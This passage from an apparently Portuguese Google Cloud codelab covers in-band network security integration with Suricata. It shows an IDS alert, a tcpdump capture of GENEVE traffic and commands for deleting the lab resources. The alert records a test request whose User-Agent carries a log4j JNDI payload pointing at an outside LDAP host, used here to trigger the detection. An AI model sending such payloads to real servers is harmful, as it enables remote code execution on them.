{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Além disso, as capturas de pacotes são uma boa maneira de visualizar e validar o tráfego.
Esse comando vai filtrar pacotes GENEVE. Exemplo de comando:
sudo tcpdump -i any -nn udp port 6081
Agora envie um pouco de tráfego de teste de uma VM de consumidor. Exemplo de resposta:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Com o tcpdump, é possível conferir os cabeçalhos GENEVE. O IP de origem é o do gateway da sub-rede (10.0.0.1), e o IP de destino é o da regra de encaminhamento (10.0.0.11 ou 10.0.0.12). Os pacotes encapsulados contêm os pacotes originais: IP do cliente consumer-$zonea (192.168.0.2) ou consumer-$zoneb (192.168.0.3) e o destino google.com. Isso confirma que os pacotes estão sendo interceptados e enviados ao dispositivo de terceiros pela integração de segurança de rede.
- Saia da sessão SSH e retorne ao Cloud Shell.
exit
Parabéns! Você implantou e testou um ambiente com integração de segurança de rede (NSI) em banda.
5. Limpeza
Consumidor
Exclua as VMs do consumidor:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Excluir associação e política de firewall:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Excluir o grupo e o perfil de segurança:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Excluir a associação de endpoints e interceptar grupos de endpoints:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Excluir o Cloud NAT, o Cloud Router e o IP reservado
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Excluir VPC e sub-redes
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Produtor
Exclua implantações de interceptação:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Exclua o grupo de implantação de interceptação. As implantações de interceptação precisam ser excluídas antes que esse comando seja concluído.
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Exclua as regras de encaminhamento:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Excluir o IP reservado da regra de encaminhamento:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Exclua o serviço de back-end:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Exclua os grupos de instâncias não gerenciadas:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Excluir verificação de integridade:
gcloud compute health-checks delete nva-hc -q
Exclua as VMs do produtor:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Exclua o Cloud NAT, o Cloud Router e o IP reservado:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Exclua a associação de política de firewall:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Exclua a política de firewall:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Excluir VPC e sub-rede
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Parabéns!
Parabéns, você concluiu o codelab de integração de segurança de rede em banda com o Suricata.
Assista vídeos de demonstração específicos do fornecedor de NSI em banda:
Confira alguns guias de implantação específicos do fornecedor que podem ser relevantes para sua organização: